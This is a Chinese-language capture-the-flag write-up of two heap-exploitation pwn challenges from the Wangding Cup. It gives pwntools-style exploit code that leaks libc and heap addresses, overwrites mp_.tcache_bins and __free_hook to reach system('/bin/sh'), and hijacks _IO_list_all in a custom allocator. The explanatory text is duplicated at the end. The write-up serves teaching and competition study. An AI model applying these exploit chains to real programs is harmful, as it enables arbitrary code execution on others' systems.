第四届网鼎杯白虎组Pwn方向详细复现
字数 1449 2025-08-23 18:31:34

网鼎杯白虎组Pwn方向详细复现与教学

题目1:基于libc2.31的堆利用

题目概述

  • 保护全开(PIE、NX、Canary等)
  • 无UAF和off-by-one/null漏洞
  • 特殊功能:edit函数可以往任意地址写入固定值666666

关键漏洞分析

  1. 任意地址写限制:虽然可以写入任意地址,但只能写入固定值666666
  2. mp_结构体利用:通过修改mp_.tcache_bins扩展tcache范围

利用思路

  1. 泄露libc和堆地址

    • 通过large bin泄露libc地址
    • 通过堆布局泄露堆地址
  2. 修改mp_结构体

    • 定位mp_.tcache_bins(libc基址+0x1EC280+0x50)
    • 使用edit函数修改该值
  3. 控制tcache

    • 通过修改后的tcache机制控制堆分配
    • 劫持free_hook为system

详细利用步骤

  1. 堆布局:

    add(0x500, b'a')  # chunk 0
    add(0x500, b'/bin/sh\x00')  # chunk 1
    add(0x500, b'a')  # chunk 2
    add(0x500, b'a')  # chunk 3
    add(0x100, b'a')  # chunk 4
    
  2. 泄露libc:

    delete(2)
    add(0x500, b'a'*8)
    show(5)
    libcbase = u64(p.recv(6).ljust(8, b"\x00")) - 0x1ecbe0
    
  3. 修改mp_.tcache_bins:

    mp_ = libcbase + 0x1EC280 + 0x50
    edit(p64(mp_))
    
  4. 控制tcache并劫持free_hook:

    delete(3)
    delete(0)
    add(0x500, p64(0)*13 + p64(free_hook))
    add(0x500, p64(system))
    delete(1)  # 触发system("/bin/sh")
    

关键知识点

  1. mp_结构体

    struct malloc_par {
        size_t tcache_bins;      // 0x50偏移
        size_t tcache_max_bytes; // 0x58
        size_t tcache_count;     // 0x60
        size_t tcache_unsorted_limit; // 0x68
    };
    
  2. tcache机制

    • 修改tcache_bins可以扩展tcache管理的chunk大小范围
    • 通过控制tcache的entries可以实现任意地址分配

题目2:自定义堆管理器的漏洞利用

题目概述

  • 实现了自定义的pmalloc/pfree函数
  • 支持加密堆块功能(第31位标记加密状态)
  • 无tcache,有类似fastbin和unsorted bin的机制

关键漏洞分析

  1. malloc逻辑缺陷:即使请求大小不合理,仍会返回堆地址,导致越界写
  2. 加密机制:可通过特定方式泄露secret_table
  3. fastbin类似机制:存在类似glibc2.32+的异或加密

利用思路

  1. 泄露关键信息

    • 通过unsorted bin泄露libc
    • 通过加密堆块泄露secret_table
    • 通过释放堆块泄露heap地址
  2. 利用越界写

    • 申请超大size(0xffffffdf)触发漏洞
    • 构造fake chunk实现任意地址分配
  3. IO_FILE利用

    • 通过错位构造fake fastbin chunk
    • 劫持_IO_list_all实现控制流劫持

详细利用步骤

  1. 泄露libc:

    add(0, 0x208)
    add(1, 0x18)
    delete(0)
    add(0, 0x208)
    show(0)
    libcbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x1f70e8
    
  2. 泄露secret_table:

    add_enc(2, 0x118)
    add(3, 0xffffffdf)  # 触发漏洞
    show_enc(2, "\x00", 0)
    cipher = p.recv(0x100)
    # 计算secret_table...
    
  3. 泄露heap:

    delete(5)
    add(5, 0x68)
    show(5)
    heapbase = u64(p.recv(8)) << 12
    
  4. 构造IO_FILE攻击:

    # 构造fake fastbin chunk指向_IO_list_all-0x23
    edit_enc(3, 0x88, dec(b"a"*0x78 + p64(0x71) + 
           p64((libcbase+0x1ed5a0-0x23) ^ (heapbase>>12))), b"\x00", 0)
    
    # 分配到伪造的chunk
    add(5, 0x68)
    add(6, 0x68)
    
    # 构造IO_FILE结构
    edit(6, 0x1b, b"a"*0x13 + p64(heapbase+0x2b0))
    # 设置wide_data和payload...
    

关键知识点

  1. 自定义堆管理器特点

    • 类似ptmalloc但没有tcache
    • fastbin有类似glibc2.32+的异或加密
    • malloc失败时仍返回地址的漏洞
  2. 加密机制

    cipher_value = plain[i] ^ i ^ (buf[i] - table[i])
    # 当key和cipher为\x00时,可以逆向计算table
    
  3. IO_FILE利用

    • 通过错位构造控制_IO_list_all
    • 需要精心构造wide_data和主FILE结构

总结与技巧

  1. 堆利用通用技巧

    • 优先考虑信息泄露(libc、heap、关键数据结构)
    • 分析管理结构(如mp_、secret_table等)
    • 寻找非预期行为(如题目2的malloc漏洞)
  2. 逆向分析技巧

    • 与已知分配器(ptmalloc)对比分析
    • 重点关注边界条件处理
    • 追踪关键数据结构的变化
  3. 复杂利用构建

    • 分阶段实施(泄露->准备->利用)
    • 善用加密/解密函数封装
    • 对复杂结构(如IO_FILE)分模块构造
  4. 调试技巧

    • 在关键操作前后设置断点
    • 使用telescope等命令查看内存布局
    • 验证关键假设(如偏移计算)

通过这两个题目的分析,可以学习到从标准堆利用到自定义堆管理器的漏洞利用方法,以及如何通过逆向分析发现非预期漏洞的技巧。

网鼎杯白虎组Pwn方向详细复现与教学 题目1:基于libc2.31的堆利用 题目概述 保护全开(PIE、NX、Canary等) 无UAF和off-by-one/null漏洞 特殊功能:edit函数可以往任意地址写入固定值666666 关键漏洞分析 任意地址写限制 :虽然可以写入任意地址,但只能写入固定值666666 mp_ 结构体利用 :通过修改mp_ .tcache_ bins扩展tcache范围 利用思路 泄露libc和堆地址 : 通过large bin泄露libc地址 通过堆布局泄露堆地址 修改mp_ 结构体 : 定位mp_ .tcache_ bins(libc基址+0x1EC280+0x50) 使用edit函数修改该值 控制tcache : 通过修改后的tcache机制控制堆分配 劫持free_ hook为system 详细利用步骤 堆布局: 泄露libc: 修改mp_ .tcache_ bins: 控制tcache并劫持free_ hook: 关键知识点 mp_ 结构体 : tcache机制 : 修改tcache_ bins可以扩展tcache管理的chunk大小范围 通过控制tcache的entries可以实现任意地址分配 题目2:自定义堆管理器的漏洞利用 题目概述 实现了自定义的pmalloc/pfree函数 支持加密堆块功能(第31位标记加密状态) 无tcache,有类似fastbin和unsorted bin的机制 关键漏洞分析 malloc逻辑缺陷 :即使请求大小不合理,仍会返回堆地址,导致越界写 加密机制 :可通过特定方式泄露secret_ table fastbin类似机制 :存在类似glibc2.32+的异或加密 利用思路 泄露关键信息 : 通过unsorted bin泄露libc 通过加密堆块泄露secret_ table 通过释放堆块泄露heap地址 利用越界写 : 申请超大size(0xffffffdf)触发漏洞 构造fake chunk实现任意地址分配 IO_ FILE利用 : 通过错位构造fake fastbin chunk 劫持_ IO_ list_ all实现控制流劫持 详细利用步骤 泄露libc: 泄露secret_ table: 泄露heap: 构造IO_ FILE攻击: 关键知识点 自定义堆管理器特点 : 类似ptmalloc但没有tcache fastbin有类似glibc2.32+的异或加密 malloc失败时仍返回地址的漏洞 加密机制 : IO_ FILE利用 : 通过错位构造控制_ IO_ list_ all 需要精心构造wide_ data和主FILE结构 总结与技巧 堆利用通用技巧 : 优先考虑信息泄露(libc、heap、关键数据结构) 分析管理结构(如mp_ 、secret_ table等) 寻找非预期行为(如题目2的malloc漏洞) 逆向分析技巧 : 与已知分配器(ptmalloc)对比分析 重点关注边界条件处理 追踪关键数据结构的变化 复杂利用构建 : 分阶段实施(泄露->准备->利用) 善用加密/解密函数封装 对复杂结构(如IO_ FILE)分模块构造 调试技巧 : 在关键操作前后设置断点 使用telescope等命令查看内存布局 验证关键假设(如偏移计算) 通过这两个题目的分析,可以学习到从标准堆利用到自定义堆管理器的漏洞利用方法,以及如何通过逆向分析发现非预期漏洞的技巧。